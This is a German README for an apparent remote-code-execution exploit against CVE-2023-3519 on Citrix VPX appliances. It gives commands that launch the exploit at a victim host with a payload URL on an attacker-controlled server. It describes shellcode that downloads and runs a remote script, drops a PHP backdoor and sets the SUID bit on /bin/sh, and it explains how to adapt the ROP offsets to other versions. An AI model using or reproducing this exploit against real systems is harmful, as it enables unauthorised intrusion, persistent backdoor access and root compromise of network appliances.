
RCE-Exploit für CVE-2023-3519
Dieser Exploit verwendet Adressen und Shellcode für Citrix VPX 13.1-48.47. Für den vollständigen Artikel klicken Sie hier.
NASM wird benötigt, um den Shellcode zu erstellen.
$ sudo apt install nasm
Der enthaltene Shellcode lädt ein Shell-Skript von einem entfernten http(s)-Server herunter und führt es aus. Das Skript benötigt 3 Argumente: den Zielhost, den Zielport und die URL eines Shell-Skript-Payloads. Ein Beispiel-Payload, das id und uname -a ausführt, bevor es sich selbst aufräumt, ist in diesem Repository enthalten.
$ echo 'id' > a
$ python3 -m http.server &
$ python3 cve-2023-3519.py victim.com 443 attack.er:8000/a
Die URL muss kurz genug sein, um in den Shellcode-Puffer zu passen, und Sie erhalten eine Warnung, wenn sie zu lang ist.
Der Shellcode erstellt eine PHP-Hintertür in /var/netscaler/logon/a.php und setzt das SUID-Bit auf /bin/sh. Das enthaltene sh-Payload zeigt ein Beispiel für die automatische Bereinigung dieser Artefakte. Beachten Sie auch, dass der Shellcode seine Dateideskriptoren nicht schließt, sodass übermäßig wiederholte Ausnutzung zu einer Ressourcenerschöpfung führen kann.
Für FreeBSD-basierte Citrix-Ziele müssen Sie nur 3 Werte finden: den Offset des gespeicherten Rückgabepointers, ein jmp rsp-ROP-Gadget (oder etwas Äquivalentes, wie push rsp; ret;) und die Adresse, zu der gesprungen werden muss, um einen Absturz zu vermeiden. Diese Parameter sind alle nahe dem Anfang von cve-2023-3519.py hartcodiert. Für bestimmte Versionen müssen Sie möglicherweise auch einen vierten Wert finden, um den RBP-Wert zu korrigieren, da der Compiler RBP-relativen Loads anstelle von POP-Anweisungen zum Wiederherstellen gespeicherter Register generiert.